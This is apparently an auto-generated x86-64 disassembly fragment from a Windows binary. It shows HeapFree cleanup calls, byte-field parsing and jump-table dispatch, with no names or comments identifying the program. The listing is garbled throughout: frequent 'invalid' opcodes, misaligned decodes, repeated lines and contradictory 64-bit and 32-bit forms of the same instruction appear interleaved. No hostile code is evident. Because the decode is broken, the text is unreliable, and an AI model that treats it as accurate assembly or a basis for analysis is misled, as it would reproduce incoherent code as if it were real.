mov rbx, qword [sym.imp.kernel32.dll_HeapFree]
je 0x14009e9f9
mov rax, qword [r8 + 8]
mov rcx, qword [0x140182260]
je 0x14009ea22
invalid
invalid
or byte [rax - 0x75], cl
or eax, 0xe3874
je 0x14009ea22
invalid
invalid
je 0x14009ea22
invalid
xor edx, edx
mov rsi, r8
mov r8, rax
call rbx
mov r8, rsi
mov eax, esi
mov eax, esi
mov rcx, qword [0x140182260]
xor edx, edx
call rbx
jmp 0x14009f329
add byte [rax], al
nop dword [rax]
and ebx, 0xffffff7f
mov r14d, ebx
fiadd word [rcx + 0xf]
invalid
movzx eax, al
lea rcx, [0x1401788dc]
movsxd rax, dword [rcx + rax*4]
invalid
add al, 0x81
fiadd word [rcx + 0xf]
invalid
mov dh, 0x9e
or eax, 0x4634800
invalid
add al, 0x81
add rax, rcx
jmp rax
mov r8d, 9
or dword [rax], eax
add byte [rax], al
invalid
add al, 0x81
add rax, rcx
jmp rax
or dword [rax], eax
add byte [rax], al
lea rcx, [rsp + 0x340]
mov word [rax + rax*2], fs
add eax, dword [rax]
add byte [rax], al
lea rdx, [rsp + 0x320]
invalid
invalid
add byte [rax], al
lea rdx, [rsp + 0x320]
call fcn.140012550
idiv edi
mov r8, qword [rsp + 0x358]
test byte [rax + rbx*2], ah
add eax, dword [rax]
add byte [rcx - 0xa], al
rol byte [rcx], 0xf
test dword [rax], esp
invalid
add byte [rax], al
test byte [rax + rbx*2], ah
add eax, dword [rax]
add byte [rcx - 0xa], al
rol byte [rcx], 0xf
test dword [rax], esp
invalid
lock dec qword [r8 + 0x20]
jne 0x14009f0a8
invalid
invalid
add byte [rax], al
invalid
mov rax, qword [r8 + 0x20]
cmp qword [r8], 0
cmp dword [rax], 0
cmp dword [rax], 0
mov r12, qword [sym.imp.kernel32.dll_HeapFree]
je 0x14009f09c
test byte [rax], ah
invalid
add byte [rax], al
test byte [rax], ah
invalid
mov rax, qword [r8 + 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r15, r8
invalid
mov r8, rax
call r12
mov r8, r15
jmp 0x14009f09c
invalid
add byte [rax], al
invalid
mov byte [rdi + 0x1c1], 0
rol dword [rcx], 0
add byte [rax], al
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
mov rsi, qword [rdi + 0x1a8]
add dword [rax], eax
add byte [rax + 0x39], cl
invalid
invalid
mov bh, 0xb0
cmp qword [rdi + 0x1b0], rsi
jne 0x14009ead9
add dword [rax], eax
add byte [rbp + 0x19], dh
mov edx, 1
add byte [rax], al
add byte [rax - 0x75], cl
mov word [rax + rdi], fs
add dword [rax], eax
mov rcx, qword [rsp + 0x138]
call fcn.1400126f0
cmp al, 0xf7
dec dword [rax - 0x75]
mov bh, 0xa8
add dword [rax], eax
invalid
add al, ch
invalid
cmp al, 0xf7
dec dword [rax - 0x75]
mov bh, 0xa8
add dword [rax], eax
add byte [rax - 0x7d], cl
cmp rsi, 0xffffffffffffffff
je case.0x140092c52.90
invalid
dec dword [rdi]
test cl, dh
add byte [rax], al
add byte [rax - 0x75], cl
mov ebx, dword [rdi + 0x188]
mov rbx, qword [rdi + 0x188]
mov ebx, dword [rdi + 0x188]
mov r14, qword [rdi + 0x190]
mov bh, 0x90
add dword [rax], eax
invalid
add byte [rax], al
add byte [rax - 0x75], cl
test byte [rax + rdx*4], ah
add al, 0
mov rax, qword [rsp + 0x490]
mov rax, qword [rax]
add byte [rax - 0x75], cl
add byte [rax + 0x39], cl
cmp rax, rsi
cmp rax, rsi
jne 0x14009eb21
mov edx, 0x40
add byte [rax], al
add byte [rax - 0x75], cl
mov ecx, dword [rsp + 0x138]
call fcn.1400126f0
add byte [rax], al
mov rcx, qword [rsp + 0x138]
mov ecx, dword [rsp + 0x138]
add byte [rax], al
call fcn.1400126f0
mov rsi, qword [rdi + 0x1a8]
mov esi, dword [rdi + 0x1a8]
mov bh, 0xa8
add dword [rax], eax
add byte [rax - 0x75], cl
xchg dword [rax + 0x48000001], esi
add byte [rax + 0x29], cl
invalid
mov rax, qword [rdi + 0x1b0]
add byte [rax + 0x29], cl
sub rax, rsi
invalid
mov rcx, qword [rsp + 0x138]
mov ecx, dword [rsp + 0x138]
add rsi, qword [rcx]
mov qword [rsp + 0x1d0], rsi
mov dword [rsp + 0x1d0], esi
mov dword [rsp + 0x1d0], esi
mov qword [rsp + 0x1d8], rax
movups xmmword [r15 + 8], xmm7
mov qword [rsp + 0xaf0], rsi
mov dword [rsp + 0xaf0], esi
and al, 0xf0
or al, byte [rax]
add byte [rax - 0x77], cl
mov rcx, rbx
mov rcx, rbx
mov rdx, rbp
mov edx, ebp
lea r8, [rsp + 0x1d0]
call qword [r14 + 0x18]
push rsi
sbb byte [rax - 0x7b], cl
ror byte [rdi], 0x85
cld
invalid
add byte [rax], al
add dword [rax], eax
add byte [rcx - 1], al
push rsi
sbb byte [rax - 0x7b], cl
ror byte [rdi], 0x85
cld
sub eax, 0x89490000
add byte [rax], al
mov r13, rdx
add byte [rax], al
mov r13, rdx
test rdx, rdx
ror byte [rdi], cl
test ebp, ebp
in eax, dx
invalid
add byte [rax], al
ror byte [rdi], cl
test ebp, ebp
in eax, dx
in eax, dx
invalid
mov rdx, qword [rsp + 0x1d8]
mov edx, dword [rsp + 0x1d8]
xchg esp, eax
and al, 0xd8
fadd dword [rcx]
add byte [rax], al
invalid
invalid
mov word [rax + riz*8], fs
invalid
mov rcx, qword [rsp + 0x1e0]
mov ecx, dword [rsp + 0x1e0]
loopne 0x14009eb82
add dword [rax], eax
add byte [rax], al
add byte [rax + 0x39], cl
ror dword [rdi], 1
xchg esi, esi
add byte ds:[rax], al
cmp rcx, rdx
cmp ecx, edx
ja 0x1400a2a82
mov rax, qword [rsp + 0x1d0]
mov qword [rsp + 0x738], rax
cmp byte [rdi], al
add byte [rax], al
invalid
add byte [rax + 0x39], cl
invalid
cmp rsi, rax
jne 0x1400a2a8e
test ecx, ebp
add byte ds:[rax], al
invalid
add byte [rax - 0x75], cl
xchg dword [rax + 0x48000001], ebp
add eax, ecx
mov rax, qword [rdi + 0x1a8]
add rax, rcx
mov qword [rsp + 0x738], rax
cmp byte [rdi], al
add byte [rax], al
invalid
cmp rax, qword [rdi + 0x1b0]
cmp eax, dword [rdi + 0x1b0]
ja 0x1400a29f4
xchg dword [rax], esi
add byte ds:[rax], al
invalid
add byte [rax - 0x77], cl
xchg dword [rax + 0x48000001], ebp
test ecx, ecx
mov qword [rdi + 0x1a8], rax
test rcx, rcx
jne 0x1400a1932
test dword [rsi + 0x2d], ebx
add byte [rax], al
mov al, 1
cmp byte [rdi + 0x1c0], 0
add dword [rax + 0x1c0bf], eax
add byte [rax], al
je 0x1400a178f
sub eax, dword [rax]
add cl, ch
invalid
jmp 0x1400a197d
xchg ebp, eax
sub eax, 0x1b10000
jmp case.0x1400733b1.181
xor ecx, ecx
mov al, 0xa
jmp case.0x1400733b1.181
std
invalid
invalid
std
invalid
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x70], eax
and al, 0x70
mov eax, 1
mov qword [rsp + 0x68], rax
mov r10b, 0xa
test ebx, ebx
mov rbp, qword [rsp + 0x38]
mov ebp, dword [rsp + 0x38]
mov ebp, dword [rsp + 0x38]
and al, 0x38
lea r15, [rsp + 0x1d8]
mov esp, 0x1d824
add byte [rax], al
add byte [rdi], cl
test ah, bh
invalid
je 0x14009f427
mov eax, 1
add byte [rax - 0x77], cl
test byte [rax + rdx*4], ah
and al, 0x90
mov qword [rsp + 0x90], rax
mov dword [rsp + 0x34], 0
invalid
and al, 0x90
nop
add byte [rax], al
add bh, al
and al, 0x34
add byte [rax], al
add byte [rax], al
invalid
add byte [rcx], dh
ror byte [rax - 0x77], 0x44
and al, 0x48
xor eax, eax
mov qword [rsp + 0x48], rax
xor eax, eax
mov qword [rsp + 0x50], rax
lea rax, [0x1401167f0]
lea eax, [0x1401167f0]
lea eax, [0x1401167f0]
invalid
mov qword [rsp + 0x40], rax
mov al, 1
mov qword [rsp + 0x58], rax
and al, 0x58
and al, 0x58
xor r14d, r14d
mov dword [rsp + 0x7c], 0
test bh, 0x44
and al, 0x7c
add byte [rax], al
add byte [rax], al
jmp 0x14009f2ec
add byte [rax - 0x75], cl
test byte [rax + rcx*4], ah
add al, 0
add byte [rax - 0x39], cl
add byte [rdx], al
add byte [rax], al
add byte [rcx - 0x4e], al
mov r10b, 0xa
cmp ebp, 2
invalid
test dword [rbx + 3], ecx
invalid
mov r10b, 0xa
cmp ebp, 2
jne 0x14009efd7
invalid
add byte [rcx], dh
ror byte [rax - 0x77], 0x44
and al, 0x50
xor eax, eax
mov qword [rsp + 0x50], rax
mov eax, 1
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0x68], rax
mov r8d, 1
add byte [rax], al
add byte [rax + 0x44894801], dh
add dword [rax - 0x77], ecx
and al, 0x58
add dword [rax - 0x77], ecx
and al, 0x58
and al, 0x58
mov al, 1
mov qword [rsp + 0x70], rax
and al, 0x70
lea rsi, [0x1401167f0]
xor r9d, r9d
cmp byte [rbx + 7], bh
add byte [rbp + 0x31], al
leave
xor r14d, r14d
xor r12d, r12d
xor esp, esp
mov rbp, qword [rsp + 0x38]
and al, 0x38
jmp 0x1400a11b9
and al, 0
add byte [rax + 0x44894801], dh
mov al, 1
mov qword [rsp + 0x58], rax
mov eax, 1
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0x68], rax
mov dword [rsp + 0x68], eax
mov dword [rsp + 0x68], eax
mov r10b, 0xa
test ebx, ebx
je 0x14009f3cf
invalid
invalid
add byte [rax], al
call 0x18909ecee
cmp r12, 8
cmp esp, 8
mov rbp, qword [rsp + 0x38]
lea r15, [rsp + 0x1d8]
and al, 0xd8
add dword [rax], eax
invalid
and al, 0xd8
add dword [rax], eax
add byte [rdi], cl
jbe 0x1400a2e78
jbe 0x1400a2e78
cmp r12, 0xe
je 0x14009f779
test byte [rcx + 0xa], dh
add byte [rax], al
test byte [rcx + 0xa], dh
add byte [rax], al
mov dword [rsp + 0x34], 0
xor eax, eax
mov qword [rsp + 0x48], rax
mov dword [rsp + 0x48], eax
mov dword [rsp + 0x48], eax
xor eax, eax
mov qword [rsp + 0x50], rax
mov eax, 1
mov qword [rsp + 0x90], rax
mov dword [rsp + 0x90], eax
nop
add byte [rax], al
add cl, ch
invalid
invalid
jmp 0x14009f936
or byte [rdi], cl
xchg byte [rax + 0x49000040], cl
cmp esp, 0xd
mov rbp, qword [rsp + 0x38]
lea r15, [rsp + 0x1d8]
add dword [rax], eax
add byte [rdi], cl
test byte [rdi + rax], bl
invalid
add dword [rax], eax
add byte [rdi], cl
test byte [rdi + rax], bl
add byte [rax + 0x44894801], dh
mov qword [rsp + 0x70], rax
mov al, 1
mov qword [rsp + 0x70], rax
mov eax, 1
mov qword [rsp + 0x90], rax
add byte [rax], al
add byte [rax], al
mov dword [rsp + 0x34], 0
mov eax, 1
add byte [rax], al
invalid
xor al, 0
add byte [rax], al
add byte [rax + 1], bh
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x77], cl
and al, 0x68
mov qword [rsp + 0x68], rax
mov r10b, 0xa
mov dl, 0xa
jmp 0x14009f2c8
cmp r12, 8
jbe 0x1400a2dea
invalid
add byte [rcx - 0x73], cl
and al, 0xf7
lea rax, [r12 - 9]
cmp rax, 8
mov rbp, qword [rsp + 0x38]
lea r15, [rsp + 0x1d8]
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rdi], cl
jae 0x14009f229
invalid
mov word [rsp + rdx*8], fs
jae 0x14009f229
mov ecx, dword [rsp + 0x4d4]
mov eax, ecx
and eax, 0xffff0000
or eax, 0x101
shr ecx, 0x10
mov dword [rsp + 0x7c], ecx
mov cl, 1
mov qword [rsp + 0x70], rcx
and al, 0x70
and al, 0x70
mov ecx, 1
mov qword [rsp + 0x90], rcx
nop
add byte [rax], al
invalid
nop
add byte [rax], al
add bh, al
mov dword [rsp + 0x34], 0
mov dword [rsp + 0x34], 0
mov ecx, 1
mov qword [rsp + 0x68], rcx
and al, 0x68
and al, 0x68
mov r10b, 0xa
mov dword [rsp + 0x4d4], eax
jmp 0x14009f2c8
invalid
add byte [rcx - 0x48], al
or dword [rax], eax
add byte [rax], al
lea rcx, [rsp + 0x340]
lea ecx, [rsp + 0x340]
lea rdx, [rsp + 0x320]
call fcn.140012550
invalid
invalid
idiv edi
add eax, dword [rax]
add al, ch
invalid
mov r8, qword [rsp + 0x358]
test r8b, 1
jne 0x14009f105
add byte [rax], al
add byte [rax], al
lock dec qword [r8 + 0x20]
mov r13, qword [sym.imp.kernel32.dll_HeapFree]
add byte [rdi], cl
test esi, edi
inc byte [rdx]
add byte [rax], al
add byte [rdi], cl
test esi, edi
inc byte [rdx]
add byte [rax], al
mov rax, qword [r8 + 0x20]
cmp qword [r8], 0
inc byte [rdx]
add byte [rax], al
mov rax, qword [r8 + 0x20]
cmp qword [r8], 0
je 0x14009f125
test ah, ah
add al, byte [rax]
add byte [rax], al
mov rax, qword [r8 + 8]
mov rcx, qword [0x140182260]
add byte [rax], al
mov rax, qword [r8 + 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r12, r8
mov esp, eax
mov esp, eax
mov r8, rax
call r13
mov r8, r12
jmp 0x14009f125
add al, byte [rax]
invalid
add al, byte [rax]
add byte [rcx - 0x48], al
mov r8d, 9
mov r8d, 9
lea rcx, [rsp + 0x340]
lea rdx, [rsp + 0x320]
xchg esp, eax
and al, 0x20
add eax, dword [rax]
add byte [rax], al
xchg esp, eax
and al, 0x20
add eax, dword [rax]
add byte [rax], al
invalid
invalid
add byte [rax], al
call fcn.140012550
mov r8, qword [rsp + 0x358]
test byte [rax + rbx*2], ah
add eax, dword [rax]
add byte [rcx - 0xa], al
rol byte [rcx], 0xf
test dword [rbx], esi
add eax, dword [rax]
invalid
test byte [rax + rbx*2], ah
add eax, dword [rax]
add byte [rcx - 0xa], al
rol byte [rcx], 0xf
test dword [rbx], esi
add eax, dword [rax]
add al, dh
lock dec qword [r8 + 0x20]
lock dec qword [r8 + 0x20]
mov rbp, qword [rsp + 0x38]
jne 0x14009f1ec
invalid
mov rax, qword [r8 + 0x20]
cmp qword [r8], 0
je 0x14009f1dd
mov rax, qword [r8 + 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r12, r8
mov esp, eax
mov r8, rax
call qword [sym.imp.kernel32.dll_HeapFree]
popfq
invalid
invalid
add byte [rbp - 0x77], cl
loopne 0x14009eeb0
adc al, byte [rbx]
add eax, dword [rax]
invalid
jbe 0x1400a2dfe
mov qword [rsp + 0x70], rax
mov eax, 1
mov qword [rsp + 0x68], rax
and al, 0x68
and al, 0x68
mov r10b, 0xa
mov dl, 0xa
test ebx, ebx
mov rbp, qword [rsp + 0x38]
lea r15, [rsp + 0x1d8]
fadd dword [rcx]
add byte [rax], al
invalid
fadd dword [rcx]
add byte [rax], al
invalid
add byte [rdi], cl
test dword [rbp + 0x49000003], esi
cmp esp, 0x11
jne 0x14009f2bb
cmp r12, 0x11
jne 0x14009f2bb
stosd dword [rdi], eax
add eax, dword [rax]
add byte [rcx - 0x75], cl
or dword [r8 - 0x80], r8d
or dword [rax - 0x80], eax
mov rax, qword [r13 + 9]
and sil, 1
or dword [rax - 0x80], eax
out 1, al
mov rcx, rax
shr rcx, 0x10
shr ecx, 0x10
shr ecx, 0x10
mov qword [rsp + 0x128], rcx
mov qword [rsp + 0x130], rax
shr rax, 0x30
shr eax, 0x30
shr eax, 0x30
mov qword [rsp + 0x70], rax
mov al, 1
mov qword [rsp + 0x58], rax
mov r12b, 5
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x48], rax
mov byte [rsp + 0xb7], sil
mov qword [rsp + 0x68], rax
jmp 0x14009f4f1
mov r8d, 0x140
lea rcx, [rsp + 0x1d8]
mov rdx, qword [rsp + 0x4b0]
call fcn.140106530
mov qword [rsp + 0x1d0], rbp
xor eax, eax
test rbp, rbp
sete al
cmp dword [rsp + rax*8 + 0x2e8], r14d
jne case.0x140065698.268
mov rbx, qword [rsp + 0x300]
test rbx, rbx
je 0x1400a042f
shr r8, 5
neg r8
cmp qword [rsp + 0x350], r8
je 0x14009f0a8
add r8, qword [rsp + 0x340]
mov r12, qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x140182260]
xor edx, edx
call r12
mov r13, qword [rsp + 0x320]
mov r8, qword [rsp + 0x328]
mov rcx, qword [rsp + 0x338]
test cl, 1
mov rbp, qword [rsp + 0x38]
jne 0x14009f174
mov qword [rsp + 0xe8], r13
mov qword [rsp + 0xf0], r8
mov qword [rsp + 0xf8], rcx
lea rax, [0x14014fa88]
mov qword [rsp + 0xe0], rax
mov r9, rax
test ebx, ebx
jne 0x1400a09b7
jmp 0x1400a0a49
shr r8, 5
neg r8
cmp qword [rsp + 0x350], r8
mov r13, qword [sym.imp.kernel32.dll_HeapFree]
je 0x14009f131
add r8, qword [rsp + 0x340]
mov rcx, qword [0x140182260]
xor edx, edx
call r13
movdqu xmm0, xmmword [rsp + 0x320]
movdqu xmm1, xmmword [rsp + 0x330]
movdqa xmmword [rsp + 0xd0], xmm1
movdqa xmmword [rsp + 0xc0], xmm0
test ebx, ebx
je 0x14009f41a
test sil, 8
jne 0x14009f56d
mov r12, r13
mov r13, qword [rsp + 0x330]
shr rcx, 5
sub r12, rcx
mov r15, rcx
lea rdx, [rcx + r8]
cmp r8, r13
jne 0x14009f731
test rdx, rdx
je 0x1400a049f
mov r13, r12
mov rax, r12
test r13b, 1
jne 0x1400a096b
or rax, 1
lea r9, [0x14012a090]
jmp 0x1400a0972
shr r8, 5
neg r8
cmp qword [rsp + 0x350], r8
mov rbp, qword [rsp + 0x38]
je 0x14009f1ec
add r8, qword [rsp + 0x340]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
movdqu xmm0, xmmword [rsp + 0x320]
movdqu xmm1, xmmword [rsp + 0x330]
movdqa xmmword [rsp + 0xd0], xmm1
movdqa xmmword [rsp + 0xc0], xmm0
test ebx, ebx
je 0x1400a0356
mov r14d, dword [r13 + 9]
movzx esi, byte [r13 + 0xd]
movzx ebx, byte [r13 + 0xe]
movzx eax, byte [r13 + 0xf]
mov dword [rsp + 0x34], eax
movzx r8d, byte [r13 + 0x10]
add r12, 0xffffffffffffffef
je case.0x140088ba6.157
mov dword [rsp + 0x58], r8d
js 0x1400a2f7a
mov eax, 1
mov qword [rsp + 0x90], rax
xor eax, eax
mov qword [rsp + 0x48], rax
xor eax, eax
mov qword [rsp + 0x50], rax
lea rax, [0x1401167f0]
mov qword [rsp + 0x40], rax
mov al, 1
mov qword [rsp + 0x58], rax
xor r14d, r14d
mov r12d, r10d
mov r8, qword [rsp + 0x338]
test r8b, 1
je 0x14009e9c5
shr r8, 5
neg r8
cmp qword [rsp + 0x330], r8
je 0x14009f329
cmp r12b, 0xa
je 0x1400a1a6b
movzx eax, byte [rsp + 0x172]
mov byte [rsp + 0x166], al
movzx eax, word [rsp + 0x170]
mov word [rsp + 0x164], ax
mov r8d, 0xe0
lea rcx, [rsp + 0xaf0]
lea rdx, [rsp + 0x738]
call fcn.140106530
movzx eax, word [rsp + 0x16c]
mov word [rsp + 0x160], ax
movzx eax, byte [rsp + 0x16e]
mov byte [rsp + 0x162], al
movzx eax, word [rsp + 0x168]
mov word [rsp + 0x15c], ax
movzx eax, byte [rsp + 0x16a]
mov byte [rsp + 0x15e], al
cmp r12b, 9
jne 0x1400a1997
mov dword [rsp + 0x34], 0
xor eax, eax
mov qword [rsp + 0x48], rax
xor eax, eax
mov qword [rsp + 0x50], rax
mov eax, 1
mov qword [rsp + 0x90], rax
lea rax, [0x1401167f0]
mov qword [rsp + 0x40], rax
mov al, 1
mov qword [rsp + 0x70], rax
xor r14d, r14d
mov rbp, qword [rsp + 0x38]
lea r15, [rsp + 0x1d8]
jmp 0x14009f2ec
xor r13d, r13d
mov rbp, qword [rsp + 0x38]
jmp 0x14009ffe5
add r12, 0xfffffffffffffff7
test sil, 1
jne 0x14009f85e
mov eax, 1
mov qword [rsp + 0x90], rax
mov rax, r12
movabs rcx, 0xaaaaaaaaaaaaaaab
imul rax, rcx
ror rax, 1
movabs rcx, 0x2aaaaaaaaaaaaaab
cmp rax, rcx
jae 0x14009ec38
mov eax, dword [r13 + 9]
bswap eax
mov qword [rsp + 0x70], rax
mov al, 1
mov qword [rsp + 0x58], rax
mov r12b, 8
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x130], rax
mov qword [rsp + 0x68], rax
and al, 0x68
and al, 0x68
mov eax, r14d
mov qword [rsp + 0x128], rax
mov dword [rsp + 0x88], eax
mov dword [rsp + 0x8c], eax
add byte [rcx + 0x8c2484], cl
add byte [rax], al
jmp 0x1400a150a
mov dh, 0x45
or al, cl
loopne 0x14009f521
movzx ecx, byte [r13 + 0xb]
shl ecx, 8
or r8, r9
loope 0x14009f521
movzx edx, byte [r13 + 0xc]
and r8d, 0x7f
shl r8d, 0x18
jg 0x14009f564
shl eax, 0x18
or r8d, eax
or r8d, ecx
rol byte [rcx + 9], 0xc8
or r8d, edx
mov qword [rsp + 0x70], r8
mov al, 1
mov qword [rsp + 0x58], rax
mov r12b, 7
mov ah, 7
mov ah, 7
je case.0x1400967cc.48
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x130], rax
mov qword [rsp + 0x68], rax
mov dword [rsp + 0x68], eax
jmp 0x14009f98f
add byte [rax], al
cmp qword [rsp + 0xc8], 0
mov rbp, qword [rsp + 0x38]
je 0x14009ffe2
mov rax, qword [rsp + 0xc0]
movzx r12d, byte [rax]
mov r8d, 1
test byte [rax + rax*8], ah
add byte [rax], al
add byte [rdi + rcx - 0x4a], al
and byte [rcx - 0x48], al
add dword [rax], eax
add byte [rax], al
lea rcx, [rsp + 0x1d0]
lea rdx, [rsp + 0xc0]
lea edx, [rsp + 0xc0]
lea edx, [rsp + 0xc0]
call fcn.140012550
mov r8, qword [rsp + 0x1e8]
test r8b, 1
jne 0x14009fbbe
lock dec qword [r8 + 0x20]
dec dword [rax + 0x20]
jne 0x14009fbe6
mov rax, qword [r8 + 0x20]
cmp qword [r8], 0
cmp byte [rax], al
cmp byte [rax], al
je 0x14009fbd7
invalid
mov rax, qword [r8 + 8]
mov rcx, qword [0x140182260]
or byte [rax - 0x75], cl
or eax, 0xe2c82
xor edx, edx
mov rbx, r8
mov r8, rax
call qword [sym.imp.kernel32.dll_HeapFree]
cmp eax, 0x89490007
fsubr st(1)
jrcxz 0x14009f5f7
add byte [rax], al
cmp eax, 0x89490007
fsubr st(1)
jrcxz 0x14009f5f7
add byte [rax], al
cmp qword [rsp + 0xc8], 0
invalid
and al, 0xc8
add byte [rax], al
add byte [rax], al
invalid
add byte [rdi], cl
test byte [rbx + 0xd], dl
add byte [rax], al
je 0x1400a0356
mov rax, qword [rsp + 0xc0]
movzx ebx, byte [rax]
rol byte [rax], 0
add byte [rdi], cl
mov dh, 0x18
mov r8d, 1
lea rcx, [rsp + 0x1d0]
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0xc0
add byte [rax], al
add al, ch
invalid
invalid
idiv edi
mov r8, qword [rsp + 0x1e8]
test byte [rax + rbp*8], ah
add dword [rax], eax
add byte [rax], al
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0xc0
add byte [rax], al
add al, ch
invalid
test byte [rax + rbp*8], ah
add dword [rax], eax
invalid
add byte [rax], al
add byte [rcx - 0xa], al
rol byte [rcx], 0xf
test dword [rdi], esi
test r8b, 1
jne 0x1400a0272
or al, 0
invalid
or al, 0
add al, dh
dec qword [r8 + 0x20]
lock dec qword [r8 + 0x20]
jne 0x1400a029a
mov rax, qword [r8 + 0x20]
cmp qword [r8], 0
cmp byte [rax], al
and byte [rcx - 0x7d], cl
cmp byte [rax], al
je 0x1400a028b
mov rax, qword [r8 + 8]
mov rcx, qword [0x140182260]
add dword [rsi + rcx], ebp
add byte [rcx], dh
ror byte [rbp - 0x77], cl
invalid
add dword [rsi + rcx], ebp
sub al, 0xe
invalid
add byte [rcx], dh
ror byte [rbp - 0x77], cl
invalid
mov r8, rax
call qword [sym.imp.kernel32.dll_HeapFree]
invalid
add byte [rbp - 0x77], cl
loopne 0x14009f65a
invalid
or al, 0
invalid
invalid
mov al, 1
mov dword [rsp + 0x100], eax
test byte [rax + rax], ah
add dword [rax], eax
add byte [rax + 1], bh
test byte [rax + rax], ah
add dword [rax], eax
add byte [rax + 1], bh
mov qword [rsp + 0x118], rax
mov dword [rsp + 0x108], 0
test byte [rax + rcx], ah
add dword [rax], eax
add byte [rax], al
add byte [rax], al
invalid
test byte [rax + rcx], ah
and al, 8
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add bh, al
test byte [rax + rdx], ah
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov dword [rsp + 0x110], 1
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x73], cl
lea rsi, [0x1401167f0]
lea rsi, [0x1401167f0]
add byte [rbp + 0x31], al
push qword [rcx]
fild dword [rbp + 0x31]
xor r15d, r15d
xor ebx, ebx
xor r12d, r12d
in al, 0x48
mov ebp, dword [rsp + 0x38]
in al, 0x48
mov ebp, dword [rsp + 0x38]
lea rcx, [rsp + 0x1d8]
call fcn.140036d60
lea rcx, [rsp + 0x238]
lea ecx, [rsp + 0x238]
stc
dec dword [rax - 0x73]
lea ecx, [rsp + 0x238]
call case.0x140028096.388
mov r8, qword [rsp + 0x310]
test r8b, 1
test al, 1
jne 0x14009f7f5
lea ecx, [rsp + 0x238]
call case.0x140028096.388
mov r8, qword [rsp + 0x310]
test r8b, 1
test al, 1
test al, 1
jne 0x14009f7f5
add al, dh
dec qword [r8 + 0x20]
lock dec qword [r8 + 0x20]
mov al, 1
mov qword [rsp + 0x58], rax
pop rax
pop rax
mov r10b, 0xa
or cl, byte [rdi]
test dword [rcx + 0x49000004], edx
add byte [rax], al
mov rax, qword [r8 + 0x20]
jne 0x14009fb87
add byte [rax], al
mov rax, qword [r8 + 0x20]
cmp qword [r8], 0
mov r13, qword [sym.imp.kernel32.dll_HeapFree]
invalid
je case.0x140070a56.210
add byte [rcx + rbx + 0x49], dh
mov eax, dword [rax + 8]
mov rax, qword [r8 + 8]
mov rcx, qword [0x140182260]
or eax, 0xe2b4e
xor edx, edx
mov r14, r8
mov esi, eax
mov esi, eax
mov r8, rax
call r13
mov r8, r14
mov rcx, qword [0x140182260]
xor edx, edx
call r13
jmp 0x14009f824
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x77], cl
mov rbp, rdx
movzx eax, byte [0x140182310]
mov edx, 0x18
add byte [rcx], dh
leave
invalid
add byte [rcx], dh
leave
call fcn.1400df910
test rax, rax
je 0x1400a2f7f
invalid
cmp byte [rax], al
invalid
invalid
cmp byte [rax], al
add byte [rbp + 1], cl
std
add r13, r15
mov qword [rax], r12
mov qword [rax + 8], r13
mov r13, r12
mov qword [rax + 0x10], 1
lea r9, [0x140114bd8]
mov rdx, rbp
mov rbp, qword [rsp + 0x38]
mov ebp, dword [rsp + 0x38]
add byte [rbp + rcx*4 + 0xd], cl
insb byte [rdi], dx
push rsp
invalid
mov ebp, dword [rsp + 0x38]
jmp 0x1400a0972
stc
adc dword [rax], eax
add byte [rcx - 0x75], al
push rbp
or dword [rdi], ecx
bswap edx
mov eax, edx
mov edx, dword [r13 + 9]
bswap edx
mov eax, edx
and eax, 0x7fffffff
shl byte [0x1c009f785], 1
movzx ecx, byte [r13 + 0xd]
mov dword [rsp + 0x340], eax
add eax, dword [rax]
add byte [rax + 0x344248c], cl
add byte [rax], al
mov dh, 0x4d
or eax, 0x40248489
add eax, dword [rax]
add byte [rax + 0x344248c], cl
add byte [rax], al
mov eax, dword [rsp + 0x341]
mov byte [rsp + 0x1d0], dl
xchg esp, eax
and al, 0xd0
add dword [rax], eax
invalid
add eax, dword [r8]
add byte [rax + 0x1d02494], cl
xchg esp, eax
and al, 0xd0
add dword [rax], eax
invalid
xchg esp, eax
and al, 0xd0
add dword [rax], eax
add byte [rcx + 0x1d12484], cl
mov dword [rsp + 0x1d1], eax
add byte [rax], al
mov ecx, dword [rsp + 0x1d0]
and al, 0xd0
add dword [rax], eax
add byte [rcx + rdi - 0xf], al
cmp ecx, r14d
cmp ecx, r14d
jne 0x14009f94e
movabs rax, 0xffffffff00000000
mov rcx, qword [rsp + 0x40]
and rcx, rax
or rcx, 1
add dword [rax - 0x77], ecx
and al, 0x40
add byte [rax], al
add byte [rax], al
invalid
add dword [rax - 0x77], ecx
and al, 0x40
mov dword [rsp + 0x40], ecx
xor eax, eax
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x70], eax
mov dword [rsp + 0x70], eax
mov eax, r14d
mov qword [rsp + 0x68], rax
push 0x24b48b44
add byte [rax], 0
add cl, ch
idiv edx
invalid
invalid
push 0x24b48b44
add byte [rax], 0
add cl, ch
idiv edx
invalid
shr r8, 5
neg r8
mov al, 1
mov qword [rsp + 0x58], rax
add eax, 0xb0d8f749
add dword [rax - 0x77], ecx
and al, 0x58
cmp qword [rsp + 0x308], r8
cmp dword [rsp + 0x308], eax
test byte [rax + rcx], ah
add eax, dword [rax]
add byte [rdi + rdx + 0x4c], dh
invalid
add r8, qword [rsp + 0x2f8]
je 0x14009f824
add r8, qword [rsp + 0x2f8]
mov rcx, qword [0x140182260]
or eax, 0xe2a44
